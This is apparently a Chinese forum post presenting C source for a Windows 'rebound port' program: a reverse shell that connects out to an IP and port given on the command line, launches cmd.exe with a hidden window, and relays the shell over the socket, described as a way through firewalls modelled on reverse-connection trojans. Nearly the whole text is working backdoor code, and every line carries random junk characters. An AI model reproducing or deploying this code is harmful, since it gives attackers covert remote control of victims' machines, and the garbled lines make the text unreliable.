这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [{J1b
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/* ============================== 1'5!")r
Rebound port in Windows NT n4
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By wind,2006/7 }Z`@Z'
===============================*/ 4;w#mzd
#include _xdttO^N
#include ;~s@_}&
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#pragma comment(lib,"wsock32.lib") EKT"pL-EY
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void OutputShell(); Bc#6mO-
SOCKET sClient; +Jc-9Ko\c;
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; FRTvo
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void main(int argc,char **argv) F#{PJ#
{ U3w*z6OG
WSADATA stWsaData; |nO}YU\E
int nRet; Iq47^
SOCKADDR_IN stSaiClient,stSaiServer; wSs78c=
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if(argc != 3) 3lNw*M|")
{ uMP&.Y(
printf("Useage:\n\rRebound DestIP DestPort\n"); L^nS%lm
return; Xg97[ I8/
} < YuI}d~'
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WSAStartup(MAKEWORD(2,2),&stWsaData); JDC,]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W&^2Fb
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stSaiClient.sin_family = AF_INET; B?_ujH80m
stSaiClient.sin_port = htons(0); ;Y16I#?;Kh
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t,;b*ZR
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j!
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{ wmPpE_{
printf("Bind Socket Failed!\n"); JGk,u6K7
return; )^'wcBod,
} ZZ6F0FLXJ
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stSaiServer.sin_family = AF_INET; Va'K~$d_
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); iAWoKW
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sfNAGez
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |&%l @X6
{ "i*Gi
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printf("Connect Error!"); ~LzTqMHM
return; >:P3j<xTv
} RwwX;I"o%
OutputShell(); :Zd# }P
} wwmODw<tT
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void OutputShell() 5*>3(U
{
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char szBuff[1024]; XC{(O:EG
SECURITY_ATTRIBUTES stSecurityAttributes; }c,}+{q
OSVERSIONINFO stOsversionInfo; iJE|u
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HM1y$ej
STARTUPINFO stStartupInfo; PZl(S}VY
char *szShell; ?0Ca-T Rz
PROCESS_INFORMATION stProcessInformation; I@q>ES!1H
unsigned long lBytesRead; HIeMV,.QN
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5cQBqH]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "Hjw
stSecurityAttributes.lpSecurityDescriptor = 0; Vt4}!b(O
stSecurityAttributes.bInheritHandle = TRUE; 3B"rI
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Tm^zoVi
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5tl}rmI`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z_l3=7R
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E(U}$Zey
stStartupInfo.wShowWindow = SW_HIDE; ddHIP`wb
stStartupInfo.hStdInput = hReadPipe; qkUr5^1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @+X}O/74
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GetVersionEx(&stOsversionInfo); @#H{nj
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switch(stOsversionInfo.dwPlatformId) rb\Ohv\
{ mLY *
case 1: <CmsnX
szShell = "command.com"; TzL40="F
break; W@$p'IBwm
default: (\/HGxv
szShell = "cmd.exe"; v|,H d
break; c)6Y.[).
} q%:Jmi>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); o>`/,-!
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send(sClient,szMsg,77,0); ?s"v0cg+
while(1) EShakV
{ S s`0;D1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^]R0d3?>\
if(lBytesRead) Eq<#pX6
{ 56_KB.Ww~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Yg]f2ke
send(sClient,szBuff,lBytesRead,0); G[>-@9_b
} 2aje$w-
else i)(QNpv
{ Ju9v n44
lBytesRead=recv(sClient,szBuff,1024,0); 'qd")
if(lBytesRead<=0) break; ]VYl Eqe
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} 3MzY]J
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} M7>\Qk
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return; `A^} X
}